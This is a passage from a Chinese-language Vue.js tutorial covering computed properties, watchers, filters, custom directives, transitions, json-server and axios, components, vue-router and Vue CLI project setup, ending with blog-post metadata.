this.list_data.filter((v)=>!v.stat); },TodoList案例暂时告一段落,我们并没有将产品做完,因为我们需要用到其他知识了;第5章 MVVM设计思想MVC 设计思想:M: model 数据模型层 提供数据V: Views 视图层 渲染数据C: controller 控制层 调用数据渲染视图MVVM 设计思想:M: model 数据模型层 提供数据V: Views 视图层 渲染数据VM:ViewsModel 视图模型层 调用数据渲染视图 由数据来驱动视图(不需要过多考虑dom操作,把重心放在VM)第6章 其他知识点汇总6.1 计算属性与侦听器6.1.1 计算属性<div id="div"> <input type="text" v-model="xing"> <input type="text" v-model="ming"> {{xing + ming}} </div> <script> var app = new Vue({ el: '#div', data: { xing:'', ming:'', } }) </script>模板内的表达式非常便利,但是设计它们的初衷是用于简单运算的。在模板中放入太多的逻辑会让模板过重且难以维护。因此我们可以使用方法,来进行运算并返回数据:<div id="div"> <input type="text" v-model="xing"> <input type="text" v-model="ming"> {{ fullname() }} <!-- 一百次调用,观察时间结果--> {{ fullname() }} </div> <script> var app = new Vue({ el: '#div', data: { xing:'', ming:'', }, methods:{ fullname(){ return this.xing+this.ming+Date.now(); } } }) </script>注意,每次在模板中使用 {{ fullname() }} fullname方法就会被调用执行一次;所以,对于任何复杂逻辑,你都应当使用计算属性 ,因为计算属性,会自动缓存数据:<div id="div"> <input type="text" v-model="xing"> <input type="text" v-model="ming"> <br> {{fulln}} <!-- 一百次调用 --> {{fulln}} </div> <script> var app = new Vue({ el: '#div', data: { xing:'', ming:'', }, computed:{ fulln(){ return this.xing+this.ming+Date.now(); } } }) </script>我们可以将同一函数定义为一个方法而不是一个计算属性。两种方式的最终结果确实是完全相同的。然而,不同的是计算属性是基于它们的依赖进行缓存的。只在相关依赖发生改变时它们才会重新求值;多次调用,计算属性会立即返回之前的计算结果,而不必再次执行函数。6.1.2 利用计算属性获取未完成任务个数<span class="todo-count"><strong>{{getNu}}</strong> item left</span>computed: { // 未完成任务个数 getNu() { return (this.list_data.filter((v) => !v.stat)).length; } }6.1.3 使用侦听器<div id="div"> <input type="text" v-model="xing"> <input type="text" v-model="ming"> {{ fullname }} </div> <script> var app = new Vue({ el: '#div', data: { xing: '', ming: '', fullname:'' }, // 设置侦听器 watch: { // 侦听器中的方法名和要真挺的数据属性名必须一致 // xing 发生变化,侦听器就会被执行,且将变化后的值和变化前的值传入 xing:function(newVal,old_val){ this.fullname = newVal+this.ming; }, ming:function(newVal,oldVal){ this.fullname = this.xing+newVal; } } }) </script>通过上面的案例,我们基本掌握了侦听器的使用,但是我们也发现,与计算属性相比,侦听器并没有优势;也不见得好用,直观上反而比计算属性的使用更繁琐;虽然计算属性在大多数情况下更合适,但有时也需要一个自定义的侦听器。这就是为什么 Vue 通过 watch 选项提供了一个更通用的方法,来响应数据的变化。当需要在数据变化时执行异步或开销较大的操作时,这个方式是最有用的。<div id="div"> <input type="text" v-model="xing"> <input type="text" v-model="ming"> {{ fullname }} </div> <script src="./jq.js"></script> <script> var app = new Vue({ el: '#div', data: { xing: '', ming: '', fullname:'' }, // 设置侦听器 watch: { // 侦听器中的方法名和要真挺的数据属性名必须一致 // xing 发生变化,侦听器就会被执行,且将变化后的值和变化前的值传入 xing:function(newVal,old_val){ // this.fullname = newVal+this.ming; var t = this; // 在侦听器中执行异步网络请求 $.get('./xx.php',(d)=>{ t.fullname = d; }) }, } }) </script>6.2 使用ref操作DOM在学习 jq 时,我们首要任务就是学习选择的使用,因为选择可以极其方便帮助我们获取节点查找dom,因为我们要通过dom展示处理数据。而在Vue中,我们的编程理念发生了变化,变为了数据驱动dom;但有时我们因为某些情况不得不脱离数据操作dom,因此vue为我们提供了 ref 属性获取dom节点;<div id="app"> <input type="button" @click='click' value="按钮"> <br> <p ref="pv">123</p> </div> <script> var app = new Vue({ el: '#app', methods: { click: function () { // 使用原生JS获取dom数据 // var p = document.getElementsByTagName('p')[0].innerHTML; // console.log(p); // 使用vue ref 属性获取dom数据 var d = this.$refs.pv.innerHTML; console.log(d); } } }) console.log(app.$refs); </script>但是在项目开发中,尽可能不要这样做,因为从一定程度上,ref 违背的mvvm设计原则;6.3 过滤器的使用6.3.1 私有(局部)过滤器定义过滤器var app = new Vue({ el: '#app', data:{msg:'UP'}, //定义过滤器 filters:{ // 过滤器的名称及方法 myFilters:function(val){ return val.toLowerCase(); } } })过滤器的使用:Vue.js 允许你自定义过滤器,可被用于一些常见的文本格式化转义等操作。过滤器可以用在两个地方:双花括号插值和 v-bind 表达式 (后者从 2.1.0+ 开始支持)。过滤器要被添加到操作值得后面,使用 管道符 | 分割;vue会自动将操作值,以实参的形式传入过滤器的方法中;{{msg|myFilters}}过滤敏感词汇<div id="app"> <input type="text" v-model="msg"> <br> {{msg|myFilters|get3}} </div> <script> var app = new Vue({ el: '#app', data:{ msg:'' }, //定义过滤器 filters:{ // 过滤器的名称及方法 myFilters:function(val){ return val.toLowerCase(); }, get3:function(val){ // 遇到数字替换为 0 // var reg = /\d/g; // return val.replace(reg,0); return val.replace('苍井空','***'); } } }) </script>6.3.2 全局过滤器上面的代码中,myFilters 及 get3 两个过滤器,仅在当前 vue 实例中可用;如果在代码 再次 var app2 = new Vue() 得到变量为 app2 的 vue 实例,则两个过滤器在 app2中都不可用;如果需要过滤器在所有实例对象中可用,我们需要声明 全局过滤器 Vue.filter(名称,处理器)<div id="app"> <input type="text" v-model="msg"> <br> {{msg|myFilters}} </div> <!-- 定义两个DOM节点 --> <div id="app2"> <input type="text" v-model="msg"> <br> {{msg|myFilters|get3}} </div> <script> Vue.filter('myFilters', function (val) { return val.toLowerCase(); }) // 定义两个全局过滤器 Vue.filter('get3', function (val) { return val.replace('苍井空','***'); }) // 两个Vue 实例 var app = new Vue({ el: '#app', data: { msg: '' } }) var app2 = new Vue({ el: '#app2', data: { msg: '' } }) </script>6.4 自定义指令前面我们学过 v-on 、v-model、v-show 等指令,在操作 dom 时使用了 ref 属性,其实之前学过的指令也是操作dom 的一种方式,但有时,这些指令并不能满足我们的需求,因此 vue 允许我们自定义指令来操作 dom6.4.1 全局自定义指令<div id="app"> <p v-setcolor>自定义指令的使用</p> </div> <script> // 注册一个全局自定义指令 `v-focus` Vue.directive('setcolor', { // 当被绑定的元素插入到 DOM 中时…… inserted: function (el) { // 聚焦元素 el.style.color = 'red'; } }) var app = new Vue({ el: '#app', }) </script>6.4.2 私有(局部)自定义指令<div id="app"> <p v-setcolor>自定义指令的使用</p> </div> <script> var app = new Vue({ el: '#app', // 注册 局部(私有)指令 directives: { // 定义指令名称 setcolor: { // 当被绑定的元素插入到 DOM 中时…… inserted: function (el) { // 聚焦元素 el.style.color = 'red'; } } } }) </script>6.4.3 利用自定义指令使TodoList获取焦点<input @keyup.enter="addTodo" v-getfocus class="new-todo" placeholder="请输入" >// 注册 局部(私有)指令 directives: { // 定义指令名称 getfocus: { // 当被绑定的元素插入到 DOM 中时…… inserted: function (el) { // 聚焦元素 el.focus() } } },6.4.4 为自定义指令传值之前学习的指令中,有的指令可以传值,有的则没有,而我们自定的指令中是没有值的,如果想为自定义指令赋值,如下即可:<div id="app"> <p v-setcolor='colors'>自定义指令的使用</p> </div> <script> var app = new Vue({ el: '#app', data:{ colors:'yellow' }, // 注册 局部(私有)指令 directives: { // 定义指令名称 setcolor: { // 自定义指令可以接受第二个参数 inserted: function (el,val) { // 第二个参数中包含了指令名称、挂载名称及数据键值 console.log(val); // 聚焦元素 el.style.color = val.value; } } } }) </script>6.5 过度及动画我们可以使用v-if或者v-show控制dom元素的显示和隐藏<div id="app"> <button @click="go">显示/隐藏</button> <p v-show="is">pppppp1111</p> </div> <script> var app = new Vue({ el: '#app', data: { isShow: true, }, methods: { go() { this.isShow = !this.isShow; } } }) </script>而在显示和隐藏的过程中,我们加入一些动画效果:在进入/离开的过渡中,会有 6 个 class 切换。v-enter:定义进入过渡的开始状态。在元素被插入之前生效,在元素被插入之后的下一帧移除。v-enter-active:定义进入过渡生效时的状态。在整个进入过渡的阶段中应用,在元素被插入之前生效,在过渡/动画完成之后移除。这个类可以被用来定义进入过渡的过程时间,延迟和曲线函数。v-enter-to: 2.1.8版及以上 定义进入过渡的结束状态。在元素被插入之后下一帧生效 (与此同时 v-enter 被移除),在过渡/动画完成之后移除。v-leave: 定义离开过渡的开始状态。在离开过渡被触发时立刻生效,下一帧被移除。v-leave-active:定义离开过渡生效时的状态。在整个离开过渡的阶段中应用,在离开过渡被触发时立刻生效,在过渡/动画完成之后移除。这个类可以被用来定义离开过渡的过程时间,延迟和曲线函数。v-leave-to: 2.1.8版及以上 定义离开过渡的结束状态。在离开过渡被触发之后下一帧生效 (与此同时 v-leave 被删除),在过渡/动画完成之后移除。对于这些在过渡中切换的类名来说,如果你使用一个没有名字的 <transition>,则 v- 是这些类名的默认前缀。如果你使用了 <transition name="my-transition">,那么 v-enter 会替换为 my-transition-enter。<style> .fade-enter-active, .fade-leave-active { transition: opacity 1s; } .fade-enter, .fade-leave-to { opacity: 0; } .man-enter-active, .man-leave-active { transition: opacity 4s; } .man-enter, .man-leave-to { opacity: 0; } </style> <div id="app"> <button @click="go">显示/隐藏</button> <transition name="fade"> <p v-show="isShow">pppppp1111</p> </transition> <transition name="man"> <p v-show="isShow">pppppp222</p> </transition> </div> <script> var app = new Vue({ el: '#app', data: { isShow: true, }, methods: { go() { this.isShow = !this.isShow; } } }) </script>这就是Vue中动画及过渡的基本使用方式,因为这些动画效果都需要我们自己写CSS样式,相对比较麻烦,在项目中,大多情况下,我们会借助第三方 CSS 动画库来实现,如:Animate.css ;后面项目中具体使用时,我们在进一步学习第三方 CSS 动画库的使用;第7章 json-server与axios一个项目从立项开始,一般都是前后端同时进行编码工作的,而此时前端需要的接口和数据后台都是无法提供的;7.1 json-server 使用使用全局安装 :npm install json-server -gjson-server 会将一个json文件作为数据库来存储数据,对json数据的格式是有要求的,如data.json的内容:{ "tb1": [ { "id": 1, "title": "标题1", "author": "描述信息1" }, { "id": 2, "title": "标题2", "author": "描述信息2" } ], "tb2": [ { "id": 1, "body": "some comment", "postId": 1 } ], "tb3": { "name": "typicode" } }启动服务: json-server --watch data.json启动成功后,提示信息如下:$ json-server --watch data.json \{^_^}/ hi! Loading data.json Done Resources http://localhost:3000/tb1 http://localhost:3000/tb2 http://localhost:3000/tb3 Home http://localhost:3000 Type s + enter at any time to create a snapshot of the database Watching...得到tb1所有的数据 GET: http://localhost:3000/tb1根据id得到数据 GET : http://localhost:3000/tb1/2添加一条数据 POST: http://localhost:3000/tb1删除一条数据 DELETE: http://localhost:3000/tb1/2模糊查找 GET : http://localhost:3000/tb1?title_like=标题根据id修改数据 PUT: http://localhost:3000/tb1/1注意:json-server 严格遵循 HTTP 请求语义进行数据处理7.2 axios我们在构建应用时需要访问一个 API 并展示其数据。做这件事的方法有好几种,而使用基于 Promise 的 HTTP 客户端 axios 则是其中非常流行的一种。<script src="./axios.js"></script> <script> // 获取全部数据 axios.get('http://localhost:3000/list_data') .then((data)=>{ console.log(data); }); // 获取一条数据 axios.get('http://localhost:3000/list_data/2') .then((data)=>{ console.log(data); }) // 添加一条数据 axios.post('http://localhost:3000/list_data',{stat:false,title:'喝水'}) .then((d)=>{ console.log(d); }).catch(error => console.log(error)) // 删除一条数据 axios.delete('http://localhost:3000/list_data/4') .then((d)=>{ console.log(d); }).catch(error => console.log(error)) // 修改一条数据 axios.put('http://localhost:3000/list_data/6',{title:'hhhhhh'}) .then((d)=>{ console.log(d); }).catch(error => console.log(error)) </script>第8章 重构TodoList案例8.1 启动API接口及数据db.json:{ "list_data": [ { "id": 1, "title": "吃饭", "stat": true }, { "id": 2, "title": "睡觉", "stat": false }, { "id": 3, "title": "打豆豆", "stat": true } ] }启动服务: json-server --watch db.json8.2 获取全部任务el: '#todoapp', data: { // list_data:list_data, list_data:[]// es6属性简写 }, // 当vue实例获取到 el:'#todoapp' 自动调用执行 mounted 方法 mounted:function(){ let url = 'http://localhost:3000/list_data'; axios.get(url).then((backdata)=>{ // console.log(backdata.data); this.list_data = backdata.data; }) },8.3 添加任务…… methods: { // 添加任务事件处理器 // addTodo:function(){} // 简写形式 addTodo(ev) { // 获取当前触发事件的元素 var inputs = ev.target; // 获取value值,去除空白后判断,如果为空,则不添加任务 if (inputs.value.trim() == '') { return; } // 组装任务数据 var todo_data = { // 通过服务器添加数据时,不需要id值 // id: this.list_data.length + 1 + 1, title: inputs.value, stat: false }; let url = 'http://localhost:3000/list_data'; // 将数据提交保存到服务器 axios.post(url,todo_data).then((back_data)=>{ let {data,status} = back_data; if(status == 201){ // console.log(this.list_data); // 数据保存成功后,将数据添加到任务列表展示 this.list_data.push(data); } }) // 清空文本框 inputs.value = ''; }, …… 8.4 删除任务<button @click="removeTodo(key,val.id)" class="destroy"></button>// 删除操作 removeTodo(key,id) { let url = 'http://localhost:3000/list_data/'+id; axios.delete(url).then((back_data)=>{ // 结构对象 let {data,status} = back_data; // console.log(back_data); if(status == 200){ this.list_data.splice(key, 1); } }) },8.5 完成任务<li v-for="(val,key) in list_data" @click="todoDone(key,val.id)" v-bind:class="{completed:val.stat}">// 完成任务 事件处理器(新添加,原案例中没有) todoDone(key,id){ let url = 'http://localhost:3000/list_data/'+id; // 组装数据准备修改服务器数据 setdata = {}; // 注意:事件优先于浏览器渲染执行,获取当前状态 var chestat = this.list_data[key].stat; // 状态取反 setdata.stat = !chestat; setdata.title = this.list_data[key].title; // console.log(setdata); axios.put(url,setdata).then((backdata)=>{ var {data,status} = backdata; // 如果服务器修改失败,则重新渲染DOM节点样式,改回原始状态 // 服务器返回状态有误 if(status != 200){ this.list_data[key].stat = chestat; } // 如果异步执行失败失败,则重新渲染DOM节点样式,改回原始状态 }).catch((err)=>{ if(err){ this.list_data[key].stat = chestat; } }) },8.6 案例中的Bug修改:<button @click.stop="removeTodo(key,val.id)" class="destroy"></button>第9章 组件https://cn.vuejs.org/v2/guide/components.htmlhttps://cn.vuejs.org/v2/guide/components-registration.html9.1 认识组件组件系统是 Vue 的一个重要概念,因为它是一种抽象,允许我们使用小型、独立和通常可复用的组件构建大型应用。通常一个应用会以一棵嵌套的组件树的形式来组织:例如,你可能会有页头、侧边栏、内容区等组件,每个组件又包含了其它的像导航链接、博文之类的组件。9.2 基本使用组件是可复用的 Vue 实例,且带有一个名字。把这个组件作为自定义元素来使用。组件的好处是写一次可以进行任意次数的复用。<div id="app"> <!-- 使用组件 --> <!-- 将组件名直接当做标签名在html代码中使用即可 --> <mytemp></mytemp> <!-- 组件可以进行任意次数的复用 --> <mytemp></mytemp> </div> <script> // 定义一个名为 mytemp 的新组件 Vue.component('mytemp',{ // template属性的值,作为组件的内容 // vue 会把这个值替换到html中并会被浏览器渲染 template:"<h2>我是一个组件</h2>" }) var app = new Vue({ el: '#app', }) </script>上面代码中我们直接使用 Vue.component() 方法定义了组件,而这个 mytemp 组件可以用在所有 vue 实例中,这种组件被称为 全局组件在具体的某个vue实例中,也可以定义组件,但是组件仅会在具体的 vue 实例中起作用,这种组件被称为 局部(私有)组件<div id="app"> <!-- 使用组件 --> <!-- 将组件名直接当做标签名在html代码中使用即可 --> <mytemp></mytemp> </div> <div id="app2"> <!-- 不可用 --> <mytemp></mytemp> </div> <script> var app = new Vue({ el: '#app', // app 的私有组件,其他实例对象不可用 components: { mytemp: { template: "<h2>我是一个组件</h2>", } } }) var app2 = new Vue({ el: '#app2', }) </script>9.3 使用注意组件名如果是驼峰法命名,使用组件时要将大写字母改为小写,并且在前面加上 -组件中的tamplate属性必须有一个唯一的根元素,否则会报错<div id="app"> <!-- 使用组件 --> <!-- 将组件名直接当做标签名在html代码中使用即可 --> <my-temp></my-temp> <!-- 单标签方式使用 --> <my-temp/> </div> <div id="app2"> <!-- 不可用 --> <mytemp></mytemp> </div> <script> var app = new Vue({ el: '#app', // app 的私有组件,其他实例对象不可用 components: { // 驼峰法命名 myTemp: { // 必须有唯一的根标签,多标签报错 template: "<div><h2>我是一个组件</h2><h3>df</h3></div>", } } }) var app2 = new Vue({ el: '#app2', }) </script>9.4 组件的使用CSS 代码* { margin: 0; padding: 0; } .top { width: 100%; height: 80px; background-color: #ccc; } .left { margin-top: 20px; width: 800px; height: 600px; background-color: #ccc; float: left; } .right { margin-top: 20px; width: 400px; height: 600px; background-color: #ccc; float: right; }原始HTML代码<div id="app"> <div class="top">我是顶</div> <div class="left">我是左</div> <div class="right">我是右</div> </div>组件化代码<div id="app"> <tops></tops> <lefts></lefts> <rights></rights> </div> <script> var app = new Vue({ el: '#app', components:{ tops:{ template:'<div class="top">我是顶</div>' }, lefts:{ template:'<div class="left">我是左</div>', }, rights:{ template:'<div class="right">我是右</div>' } } }) </script>9.5 组件中的数据及方法组件是带有名字的可复用的 Vue 实例 ,所以它们与 new Vue 实例对象接收相同的参数选项 data、computed、watch、methods , 但 el例外;虽然组件和实例对象可以接收相同的参数选项,但在具体使用中,vue实例对象的 data 与组件中的 data 还是有差异的, 在我们自己写的组件中,data 必须是一个函数 一个组件的 data 选项必须是一个函数,因此每个实例可以维护一份被返回的对象;<div id="app"> <my-temp></my-temp> </div> <script> var app = new Vue({ el: '#app', components: { myTemp: { // 一个组件的 data 选项必须是一个函数 data:function(){ // 将 数据 装入 对象 返回 return {msg:'我是data选项'} }, // 其他选项的使用不受影响 methods:{ cli(){ alert(123); } }, template: "<div @click='cli'>{{msg}}</div>", } } }) </script>除 data 选项外,其他选项的使用都是一样的;9.6 vue实例也是组件通过new Vue() 可以得到一个实例对象,其实这个实例对象就是一个特殊的组件,也有 template 参数,也可以当做组件来使用;<div id="app"> {{msg}} </div> <script> var app = new Vue({ el: '#app', data:{msg:'数据'}, template:'<h2>组件</h2>' }) </script>上面的代码中直接为Vue 实例对象传入了 template 参数,那么 vue 会使用template中的数据替换 el 选中的整个 DOM 节点 , 因此 data 选项中的的数据也不会绑定,因为在绑定数据之前,整个 DOM 节点包括节点中 {{msg}} 都会被替换;如果想让数据正常绑定,我们可以在 template 数据中加入 {{msg}}<div id="app"> {{msg}} </div> <script> var app = new Vue({ el: '#app', data:{msg:'数据'}, template:'<h2>组件{{msg}}</h2>' }) </script>9.7 通过 Prop 向子组件传递数据 *https://cn.vuejs.org/v2/guide/components.html<div id="app"> <mytemp></mytemp> </div> <script> var app = new Vue({ el: '#app', data:{msg:'数据'}, components:{ mytemp:{ template:'<h2>data:{{msg}}</h2>' } } }) </script>运行上面的代码,我们发现,组件 mytemp 并不能获取实例中 data 的数据,这是因为组件与组件之间都拥有各自独立的作用域;vue 在组件中提供了props 选项,props 接受一个在组件中自定义属性的值;<div id="app"> <mytemp cc="我是cc"></mytemp> </div> <script> var app = new Vue({ el: '#app', data:{msg:'数据'}, components:{ mytemp:{ template:'<h2>data:{{cc}}</h2>', props:['cc'], } } }) </script>我们知道了props的用法后,怎么才能将vue实例对象中的数据传入组件中呢?我们可以借助 v-bind 指令来进行传值;<div id="app"> <mytemp v-bind:cc="msg" v-bind:kk="msg2"></mytemp> </div> <script> var app = new Vue({ el: '#app', data:{ msg:'数据', msg2:'数据二' }, components:{ mytemp:{ template:'<h2>data:{{cc}}<br>{{kk}}</h2>', props:['cc','kk'], } } }) </script>vue实例对象也是一个组件,而 mytemp 组件就是运行在 实例对象下面的,这时我们也会将 实例对象称为 父组件,将 mytemp 组件称为 子组件; 而我们上面的代码,实际上已经实现了 父组件向子组件传递数据的 功能;第10章 Vue的生命周期每个 Vue 实例在被创建时都要经过一系列的初始化过程——例如,需要设置数据监听、编译模板、将实例挂载到 DOM 并在数据变化时更新 DOM 等。同时在这个过程中也会运行一些叫做生命周期钩子的函数,这给了用户在不同阶段添加自己的代码的机会。比如 created 钩子可以用来在一个实例被创建之后执行代码:new Vue({ data: { a: 1 }, created: function () { // `this` 指向 vm 实例 console.log('a is: ' + this.a) } }) // => "a is: 1"也有一些其它的钩子,在实例生命周期的不同阶段被调用,如 mounted、updated 和 destroyed。生命周期钩子的 this 上下文指向调用它的 Vue 实例。下图展示了实例的生命周期。你不需要立马弄明白所有的东西,不过随着你的不断学习和使用,它的参考价值会越来越高。<div id="app"> {{ msg }} <input type="text" ref="txt" v-model="msg"> </div> <script> var vm = new Vue({ el: "#app", data: { msg: 'hello vue', dataList: [] }, // 在vue对象初始化过程中执行 beforeCreate(){ console.log('beforeCreate'); console.log(this.msg);// undefined }, // 在vue对象初始化完成后执行 created() { console.log('created'); console.log(this.msg);//hello vue } // …… }); </script>第11章 单页应用11.1 单页应用什么是单页应用单页应用(single page web application,SPA),是在一个页面完成所有的业务功能,浏览器一开始会加载必需的HTML、CSS和JavaScript,之后所有的操作都在这张页面完成,这一切都由JavaScript来控制。单页应用优缺点优点操作体验流畅完全的前端组件化缺点首次加载大量资源(可以只加载所需部分)对搜索引擎不友好学习难度相对较高优缺点都很明显,但是我们都还没尝试过就来评价,就会显得空口无凭;接下来我们先来学习制作单页应用,然后再来进行点评;11.2 vue路由插件vue-routerhttps://cn.vuejs.org/v2/guide/routing.htmlhttps://router.vuejs.org/zh/<!-- 引入路由 --> <script src="./vue.js"></script> <script src="./vue-router.js"></script> <div id="app"> <ul> <li><a href="#/login">登录</a></li> <li><a href="#/register">注册</a></li> </ul> <!-- 路由中设置的组件会替换router-view标签 --> <router-view></router-view> </div> <script> // 1:定义路由组件 var login = { template: '<h2>我是登录页面</h2>' } var register = { template: '<h2>注册有好礼</h2>' } // 2:获取路由对象 var router = new VueRouter({ // 定义路由规则 routes: [ // {请求的路径,componet是模板} { path: "/register", component: register }, { path: "/login", component: login }, ] }) var app = new Vue({ el: '#app', // ES6 属性简写 // 3:将router对象传入Vue router }) </script>上例中,在HTML中我们直接使用了 a 标签,但是这样并不好,因为官方为我们提供了 router-link 标签<div id="app"> <ul> <li><router-link to="/login">登录</router-link></li> <li><router-link to="/register">注册</router-link></li> <!-- <li><a href="#/login">登录</a></li> <li><a href="#/register">注册</a></li> --> <!-- router-link 会被解析为a标签 --> <!-- 不同的是,router-link在解析为a标签后, 会自动为点击的 a 标签添加class属性 --> </ul> <!-- 路由中设置的组件会替换router-view标签 --> <router-view></router-view> </div>使用 router-link 的一大好处就是,每当我们点击时,在标签内就会自动帮我们添加 class 属性,而此时,我们就可以利用 class 属性,来定义样式:<style> .router-link-active { color: red; } </style>11.3 动态路由匹配假设有一个用户列表,想要删除某一个用户,需要获取用户的id传入组件内,如何实现呢?此时可以通过路由传参来实现,具体步骤如下:通过 传参,在路径上传入具体的值<router-link to="/users/120">用户管理</router-link>路由规则中增加参数,在path最后增加 :id{ name: 'users', path: '/users/:id', component: Users },在组件内部可以使用,this.$route 获取当前路由对象var Users = { template: '<div>这是用户管理内容 {{ $route.params.id }}</div>', mounted() { console.log(this.$route.params.id); } };第12章 构建一个项目12.0 命令行工具 (CLI)https://cn.vuejs.org/v2/guide/installation.html#%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%B7%A5%E5%85%B7-CLIVue 提供了一个官方的 CLI,为单页面应用 (SPA) 快速搭建繁杂的脚手架。它为现代前端工作流提供了 batteries-included 的构建设置。只需要几分钟的时间就可以运行起来并带有热重载、保存时 lint 校验,以及生产环境可用的构建版本。更多详情可查阅 Vue CLI 的文档。12.1 初始化项目安装 cli 命令工具:npm install -g @vue/cli @vue/cli-init安装成功后,使用 vue -V 命令,查看版本号;使用 vue init webpack myapp 构建一个名为 myapp 的项目:Vue 依然使用询问的方式,让我们对项目有一个初始化的信息Project name:项目名Project description: 项目描述Author: 作者Vue build:第一种:配合大部分的开发人员第二种:仅仅中有runtimeInstall vue-router? 是否安装vue-routerUse ESLint to lint your code?是否使用ESLint来验证我们的语法。Pick an ESLint preser:使用哪种语法规范来检查我们的代码:Standard: 标准规范Airbnb: 爱彼迎规范Set up unit test: 设置单元测试Setup e2e tests: 设置端对端测试Should we run 'npm install':要不要帮忙你下载这个项目需要的第三方包使用npm来下载使用yarn来下载To get started: cd myapps npm run dev // 使用命令启动项目 ----- Your application is running here: http://localhost:8080 打开浏览器,访问 http://localhost:8080 看到浏览器的欢迎界面,表示项目运行成功12.2 项目结构介绍├── build webpack打包相关配置文件目录 ├── config webpack打包相关配置文件目录 ├── node_modules 第三方包 ├── src 项目源码(主战场) │ ├── assets 存储静态资源,例如 css、img、fonts │ ├── components 存储所有公共组件 │ ├── router 路由 │ ├── App.vue 单页面应用程序的根组件 │ └── main.js 程序入口,负责把根组件替换到根节点 ├── static 可以放一些静态资源 │ └── .gitkeep git提交的时候空文件夹不会提交,这个文件可以让空文件夹可以提交 ├── .babelrc 配置文件,es6转es5配置文件,给 babel 编译器用的 ├── .editorconfig 给编辑器看的 ├── .eslintignore 给eslint代码风格校验工具使用的,用来配置忽略代码风格校验的文件或是目录 ├── .eslintrc.js 给eslint代码风格校验工具使用的,用来配置代码风格校验规则 ├── .gitignore 给git使用的,用来配置忽略上传的文件 ├── index.html 单页面应用程序的单页 ├── package.json 项目说明,用来保存依赖项等信息 ├── package-lock.json 锁定第三方包的版本,以及保存包的下载地址 ├── .postcssrc.js 给postcss用的,postcss类似于 less、sass 预处理器 └── README.md 项目说明文档12.3 语法检查注意 :如果我们在 构建项目时 选择了 Use ESLint to lint your code 那么我们在写代码时必须严格遵守 JavaScript Standard Style 代码风格的语法规则:使用两个空格 – 进行缩进字符串使用单引号 – 需要转义的地方除外不再有冗余的变量 – 这是导致 大量 bug 的源头!无分号 – 这没什么不好。不骗你!行首不要以 (, [, or ` 开头这是省略分号时唯一会造成问题的地方 – 工具里已加了自动检测!详情关键字后加空格 if (condition) { ... }函数名后加空格 function name (arg) { ... }坚持使用全等 === 摒弃 == 一但在需要检查 null || undefined 时可以使用 obj == null。一定要处理 Node.js 中错误回调传递进来的 err 参数。使用浏览器全局变量时加上 window 前缀 – document 和 navigator 除外避免无意中使用到了这些命名看上去很普通的全局变量, open, length, event 还有 name。说了那么多,看看这个遵循了 Standard 规范的示例文件 中的代码吧。或者,这里还有一大波使用了此规范的项目 代码可供参考。注意: 如果你不适应这些语法规则,可以在构建项目时不使用 ESLint 的语法检查12.4 项目代码预览12.4.1 知识储备严格模式http://javascript.ruanyifeng.com/advanced/strict.html严格模式主要有以下限制。变量必须声明后再使用函数的参数不能有同名属性,否则报错不能使用with语句不能对只读属性赋值,否则报错不能使用前缀 0 表示八进制数,否则报错不能删除不可删除的属性,否则报错不能删除变量delete prop,会报错,只能删除属性delete global[prop]eval不会在它的外层作用域引入变量eval和arguments不能被重新赋值arguments不会自动反映函数参数的变化不能使用arguments.callee不能使用arguments.caller禁止this指向全局对象不能使用fn.caller和fn.arguments获取函数调用的堆栈增加了保留字(比如protected、static和interface)ES6模块化http://es6.ruanyifeng.com/#docs/module总结:CommonJS 模块输出的是一个值的拷贝,ES6 模块输出的是值的引用;CommonJS 模块是运行时加载,ES6 模块是编译时输出接口;ES6 的模块自动采用严格模式,不管你有没有在模块头部加上"use strict";;ES6 模块之中,顶层的this指向undefined;CommonJS 模块的顶层this指向当前模块;12.4.2 代码加载执行main.js// 入口文件 // 以es6模块的方式引入 vue APP router 三个模块; import Vue from 'vue' import App from './App' import router from './router' Vue.config.productionTip = false; /* eslint-disable no-new */ new Vue({ // 获取节点对象 el: '#app', // 引入路由 router, // 本实例的私有组件 components: { App }, // el 与 template 在同一个实例中出现, // 根据生命周期的执行顺序可知,template中的内容会替换el选中的内容 template: '<App/>' }) roter/index.jsimport Vue from 'vue' import Router from 'vue-router' import HelloWorld from '@/components/HelloWorld' // Vue 中插件引入语法 // https://cn.vuejs.org/v2/guide/plugins.html Vue.use(Router) // ES6模块导出语法 export default new Router({ routes: [ // 定义一个路由规则 { path: '/', // 请求路径 name: 'HelloWorld', // 路由名称标识 component: HelloWorld //请求此路由时,使用的组件 } ] }) components/HelloWorld.vueexport default { // 模块名字 name: 'HelloWorld', // 组件中 data 数据必须是一个有返回值的方法 data () { return { msg: 'Welcome to Your Vue.js App' } } }(main.js->template: '<App/>')替换 (index.html->div#app); (index.html-><App/>) --> (components: { App }) ( components: { App }) --> (import App from './App' -> src/App.vue) (App.vue -> <router-view/> -> 路由组件) --> (main.js-> router) ========此项决定了页面展示那个组件内容 ======== ({path: '/',name: 'HelloWorld', component: HelloWorld }) --> (import HelloWorld from '@/components/HelloWorld') (src/components/HelloWorld.vue) --> <router-view/> 12.5 添加自己的路由组件修改 router/index.js ,添加自己的路由import Vue from 'vue' import Router from 'vue-router' import HelloWorld from '@/components/HelloWorld' // 引入(导入) 组件 import MyRouter from '@/components/MyRouter' Vue.use(Router) // ES6模块导出语法 export default new Router({ routes: [ {path: '/',name: 'HelloWorld', component: HelloWorld }, // 添加自己的路由及组件 { path:'/myrouter', name:'MyRouter', component:MyRouter } ] })在 components 文件夹中添加 MyRouter.vue 文件,写自己的组件代码:<template> <div class="mypage"> {{mydatas}} </div> </template> <script> // 模块化导出 export default { data(){ return {mydatas:'lksadjflks'} } } </script> <style> .mypage{ width: 200px; height: 50px; background: pink } </style> 浏览器渲染效果如下:
2022年10月13日
22 阅读
0 评论
1 点赞
2022-10-13
javascript高级-node.js核心编程
